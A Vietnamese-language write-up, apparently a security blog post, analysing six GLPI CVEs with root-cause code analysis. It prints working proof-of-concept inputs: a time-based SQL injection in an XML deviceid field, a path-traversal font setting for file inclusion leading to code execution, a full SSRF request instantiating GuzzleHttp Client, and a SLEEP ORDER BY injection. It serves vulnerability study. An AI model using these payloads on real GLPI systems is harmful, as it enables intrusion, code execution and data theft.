# Liên khúc CVE của GPLI version 10.0.17

# **I. CVE-2025-24799**

1.  ## Tổng quan
    

CVE-2025-24799 là lỗ hổng **SQL Injection trước xác thực (Pre-auth SQLi)** trong GLPI (phiên bản ≤ 10.0.17), nằm trong tính năng “Inventory”. Lỗi xuất phát từ việc xử lý sai kiểu dữ liệu đầu vào XML dẫn đến bypass cơ chế lọc.

2.  ## Phân tích chi tiết
    

Hàm **handleAgent($metadata)** - Gốc truy vấn SQLi

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/b79ca868-5c09-40d8-b90c-bfdeb5872f18.png align="center")

`$metadata['deviceid']` nhận giá trị từ client gửi đến, **không kiểm tra kiểu dữ liệu đầu vào**. Được truyền vào `dbEscapeRecursive()` với mục đích sanitize.

Hàm **dbEscapeRecursive():**

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/e9c3a95f-0c6e-4907-aa44-131e250d033f.png align="center")

Hàm này được viết ra để:

*   Nhận vào một **array** các giá trị cần lọc (thường là `['field' => 'value']`).
    
*   Đi qua từng phần tử:
    
    *   Nếu là array lồng nhau ➜ đệ quy xử lý tiếp.
        
    *   Nếu là string ➜ gọi `dbEscape()` để escape ký tự đặc biệt trong SQL.
        
    *   Nếu không phải array cũng không phải string ➜ trả về như nguyên bản.
        

Giá trị `$value` được trả về nguyên bản là giá trị Object đó. Từ đó ta cần tìm hiểu thêm cơ chế Object nếu input vào có định dạng xml để khai thác lỗ hổng ở đây.

Cơ chế object **SimpleXMLElement** trong PHP:

```jsx
$xml = simplexml_load_string('<deviceid>abc</deviceid>');
```

Khi thực hiện thử in kết quả bằng đoạn code sau:

```jsx
echo $xml->deviceid;
```

Giá trị trả về string “**abc**” do PHP đã tự động gọi hàm **\_\_toString()** khi object được phép ép kiểu sang string.

Từ đó nếu đầu vào là một object chứ không phaie string hay array thì cơ chế bảo vệ ở hàm **dbEscapeRecursive()** đã bị bypass.

Sau đó giá trị `$value` nguyên bản đó tiếp tục được xử lý ở hàm **getFromDBByCrit(),** trong quá trình xử lý giá trị `$value` ở hàm này, PHP tự động gọi hàm **\_\_toString()** để ép kiểu đưa Object sang dạng String, từ đó gây ra lỗ hổng trên

3.  ## **Khai thác thực tế**
    

Từ phân tích trên nếu chèn payload sau thì chúng ta có thể kiểm tra lỗ hổng này

```jsx
 <deviceid>', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#</deviceid>
```

Theo phân tích ở trên, server sẽ nhận giá trị “', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#” để đưa vào câu truy vấn từ đó gây ra lỗi SQLi.

Kết quả:

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/88227fc7-2200-4809-accf-fadcc235aad1.png align="center")

# **II. CVE-2025-24801**

1.  ## **Tổng quan**
    

Lỗ hổng Local File Inclusion trong chức năng xuất PDF (TCPDF font handling) cho phép include file PHP tùy ý từ hệ thống. Nếu attacker có thể upload file .php vào thư mục tạm, họ có thể thực thi mã => RCE.

2.  ## Phân tích
    

Trong TCPDF (được GLPI dùng để xuất PDF), có đoạn logic tìm file font và include() nó như sau:

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/f32b4377-f167-48f9-918b-675eb0b80206.png align="center")

Đoạn code này có 1 số lỗ hổng sau:

*   `$family` (tên font) có thể được **điều khiển** thông qua cấu hình `pdffont` (global config) hoặc profile người dùng.
    
*   Không có kiểm tra path an toàn: không loại bỏ `..`, không kiểm tra `realpath`, không đảm bảo file nằm trong `fonts/` directory.
    
*   `include($fontfile)` sẽ thực thi mọi mã PHP trong file nếu file có extension `.php`.
    
*   Nếu attacker upload được `shell.php` vào thư mục tạm (ví dụ `ajax/shell.php`), họ có thể set `pdffont` thành chuỗi `../../.../ajax/shell.php` → `fontfile` trỏ tới shell → `include()` → RCE.
    

Từ các vấn đề trên thực hiện tấn công qua các bước sau:

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/4ace5730-fc06-4619-ae8a-3365e4b9ca1a.png align="center")

*   Truy cập Setup → Dropdowns sau đó chọn Extension là php để thực hiện upload
    
*   Xác định vị trí thư mục tạm của GLPI (`GLPI_TMP_DIR`) bằng cách kiểm tra cấu hình trong trang `/front/config.form.php`.
    
*   Upload file qua endpoint **/ajax/shell.php.**
    
*   Thiết lập giá trị cấu hình `pdffont` sao cho nó trỏ tới đường dẫn tương đối dẫn tới file đã upload (../../../../../../../../**ajax**/**shell.php**).
    
*   Kiểm tra và khai thác bằng cách xuất báo cáo sang PDF với path: /front/report.dynamic.php?item\_type=Computer&sort%5B0%5D=1&order%5B0%5D=ASC&start=0&criteria%5B0%5D%5Bfield%5D=view&criteria%5B0%5D%5Blink%5D=contains&criteria%5B0%5D%5Bvalue%5D=&display\_type=2
    

Kết quả khi khai thác thành công:

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/97558748-b3bd-40cb-91e1-6125331dbe4a.png align="center")

# **III. CVE-2024-27098**

1.  ## **Tổng quan**
    

Lỗ hổng cho phép người dùng đã xác thực (authenticated user) thực hiện yêu cầu HTTP từ phía máy chủ đến các địa chỉ do attacker chỉ định (qua SSRF) thông qua việc khởi tạo đối tượng tùy ý trong mã nguồn

2.  ## **Phân tích**
    

**Attacker có thể thao tác với các tham số** `$_POST['itemtype']` và `$_POST['items_id']` ở file`front/itilsolution.form.php`:

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/cb5bf671-2cde-4c7b-aacd-b17c5bc0faca.png align="center")

**Khi** `$_POST['itemtype']` **trỏ tới lớp có** `__call()`, và sau đó mã gọi `$track->getFromDB(...)` — nếu `getFromDB` không tồn tại trên class đó, PHP sẽ gọi `__call('getFromDB', [...])`. `ew $_POST['xxx']()` là pattern cực kì nguy hiểm, nó cho phép PHP khởi tạo lớp từ chuỗi nếu chuỗi đó là tên lớp hợp lệ trong namespace. Nếu input không kiểm soát, attacker có thể tạo instance bất kỳ class nào đã autoloadable (kể cả class vendor như `GuzzleHttp\\Client`)

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/81851cf7-bcf6-4878-bf80-5970e58d1571.png align="center")

`__call()` là phương thức magic invoked khi gọi method không tồn tại. Một số class (thường các wrapper, clients) dùng `__call()` để thực hiện các hành động linh hoạt; Guzzle dùng `__call()` để giả lập các http methods (ví dụ `$client->get($uri)` → request('GET', $uri)). Khi gọi `$obj->getFromDB($uri)`, Guzzle sẽ nhận `getFromDB` là method name → vì không phải method có sẵn, `__call()` sẽ làm `request('getfromdb', $uri, $opts)` (hoặc logic tương tự), tức là thực hiện request tới URI bạn truyền.

Từ đó attacker khởi tạo một `GuzzleHttp\\Client` (bằng `new $_POST[...]`), rồi gọi `$track->getFromDB($_POST['items_id'])` — vì `getFromDB` không tồn tại trên Guzzle client, `__call()` được gọi → Guzzle thực hiện HTTP request tới `$_POST['items_id']` (do attacker cung cấp) → SSRF.

3.  ## **Khai thác**
    

**Requests example:**

```jsx
POST /Projects/glpi_10.0.12/front/itilsolution.form.php HTTP/1.1
Host: 127.0.0.1:58080
Cookie: glpi_...=<AUTHENTICATION COOKIE>
Content-Type: application/x-www-form-urlencoded
Content-Length: 173

itemtype=GuzzleHttp\\Client&items_id=https://<REDACTED>.oastify.com/POC&_glpi_csrf_token=<CSRF_TOKEN>
```

**Response excerpt**

```jsx
HTTP/1.1 302 Found
X-Powered-By: PHP/7.4.2
Location: https://<REDACTED>.oastify.com
Content-Length: 0
Content-Type: text/html; charset=UTF-8
```

# **IV. CVE-2024-27096**

1.  ## **Tổng quan**
    

SQL Injection trong cơ chế xây `ORDER BY` của chức năng search/list (mảng `search.sort`) — attacker có thể tiêm chuỗi vào tham số sắp xếp để làm thay đổi câu SQL, dẫn đến time-based hoặc error-based SQLi

2.  ### **Phân tích**
    

Phân tích đoạn code sau ở `Search::constructSQL()`/`Search::addOrderBy()`:

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/09eaa99a-9720-4964-8ab4-2c7781d991bd.png align="center")

và `addOrderBy()` ghép chuỗi để trả về `ORDER BY`

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/8c8aab62-ed5c-42a4-9b48-c31a11aec6aa.png align="center")

Ta thấy có 2 lỗ hổng cần quan tâm:

*   `if ($data['search']['sort'][$i] == $val)` — dùng **loose equality (**`==`**)** để kiểm tra xem giá trị người dùng có nằm trong danh sách hợp lệ không.
    
*   Khi chấp nhận, code **sử dụng trực tiếp** giá trị (hoặc giá trị derivated mapping) để ghép vào `ORDER BY` mà **không validate/escape** kỹ.
    

**Bản chất:** `==` trong PHP thực hiện **chuyển đổi kiểu ngầm** (type juggling). Nếu một toán tử là số và toán tử kia là chuỗi bắt đầu bằng ký tự số/format số, PHP sẽ ép chuỗi sang số trước khi so sánh. Điều này sinh ra các trường hợp sau:

*   Chuỗi có dạng `2e0` (scientific notation) sẽ được chuyển sang số `2`.
    
*   Chuỗi bắt đầu bằng số và tiếp theo là ký tự không số có thể bị cắt/convert theo quy tắc cũ.
    

Ví dụ minh họa:

```jsx
// giả định PHP < 8 behavior
var_dump("2e0" == 2);     // true
var_dump("2e0`a" == 2);   // có thể true trên một số phiên bản
```

Do đó kịch bản tấn công là: Attacker chèn một chuỗi đặc biệt vào `sort[]` sao cho khi so sánh `==` với `$val` (một giá trị hợp lệ, ví dụ `'1'`), PHP trả `true`, dù chuỗi attacker **không phải** giá trị đúng.

3.  ## **Khai thác**
    

*   Truy cập vào chức năng “Ticket” và thực hiện sort
    
*   `constructSQL()` sẽ kiểm tra `if ($sort_input == $val)` — **loose check** — có thể trả true do type juggling.
    
*   Do true, code thêm phần tử vào `sort_fields` sử dụng nguyên giá trị user.
    
*   `addOrderBy()` ghép cột + direction thành `ORDER BY ...` **với chuỗi do user điều khiển** — nếu attacker đưa vào payload như `1`, SLEEP(10) DESC-- -`(ví dụ) thì khi ghép sẽ tạo thành`ORDER BY ..., 1`, SLEEP(10) DESC-- - ASC` → phần SLEEP được thực thi bởi DB → **time-based SQLi**.
    

**Kết quả:**

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/72d40c88-76ac-4b3e-b41f-d3e56cb8befc.png align="center")

# V. CVE-2025-25192

1.  ## **Tổng quan**
    

Một lỗ hổng trong GLPI cho phép người dùng quyền thấp kích hoạt Debug Mode. Sau khi được bật, chế độ này sẽ hiển thị các SQL queries, errors, PHP objects, system configuration, and input/output data, cung cấp thông tin chi tiết về hành vi của ứng dụng và các vấn đề tiềm ẩn, ngay cả với người dùng thông thường.

2.  ## **Phân tích chi tiết**
    

Lỗ hổng này trong GLPI cho phép người dùng quyền thấp kích hoạt Debug Mode bằng cách gửi reuquest **POST** với tham số **continuer** đến path **/install/update.php**. Điều này bypass các bước kiểm tra do lỗi logic trong soure code. Sau khi được bật, Debug Mode sẽ làm lộ thông tin nhạy cảm như internal SQL queries, giúp phân tích ứng dụng và xác định các lỗ hổng tiềm ẩn dễ dàng hơn.

3.  ## **POC**
    

Trang web có chức năng update hệ thống tại URL: [**http://127.0.0.1:8080/install/update.php.**](http://127.0.0.1:8080/install/update.php.**)

Tuy nhiên khi truy cập URL này trang web sẽ thông báo lỗi không cho thực thi bản cập nhật

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/025df611-8381-4d6d-97c3-4b89ab91a6ab.png align="center")

Bằng cách review source code của GLPI tại **/install/update.php**, ta đã xác định được một lỗi logic cho phép bypass biện pháp bảo vệ này bằng cách gửi request **POST** có chứa tham số **continuer** hoặc **from\_update** với giá trị tùy ý

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/d7bbe043-cb6b-4828-813f-66411d8ab6e1.png align="center")

Ta có thể nhận thấy trong source code việc bắt đầu cập nhật sẽ kích hoạt chế độ **DEBUG.**

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/b4ac2589-9ca6-4d54-9c4f-cfcc077efabe.png align="center")

Quay trở lại Burp sau đó thực hiện gửi request để tiến hành update và kích hoạt chế độ **DEBUG MODE**

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/509652d9-d125-42f5-b893-eec867394f77.png align="center")

Sau khi quá trình cập nhật hoàn tất, nếu chúng ta quay lại giao diện người dùng quyền thấp, chúng ta có thể thấy chế độ DEBUG thực sự đã được kích hoạt.

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/f5696375-b59e-4b13-a424-16319293b90a.png align="center")

# VI. CVE-2025-21626

1.  ## **Tổng quan**
    

Người dùng ẩn danh, chưa được xác thực có thể truy cập endpoint **status.php** và lấy thông tin nhạy cảm. Thông tin này có thể bao gồm GLPI\_DB, GLPI\_SESSION, LDAP server, IMAP server, CAS server, mail collector, ...

![](https://cdn.hashnode.com/uploads/covers/6894be32643d279e7cff38cb/44bf7f0a-7542-4182-8934-e94975617eed.png align="center")

2.  ## **Impact**
    

Việc tiết lộ thông tin nhạy cảm này có thể dẫn đến các cuộc tấn công tiếp theo hoặc truy cập trái phép vào các hệ thống khác.

3.  ## **Giải pháp**
    

Xóa tệp **status.php**: Thao tác này sẽ xóa hoàn toàn endpoint dễ bị tấn công. Hạn chế quyền truy cập vào **status.php**: Triển khai cấu hình cấp máy chủ để giới hạn người có thể truy cập endpoint này.
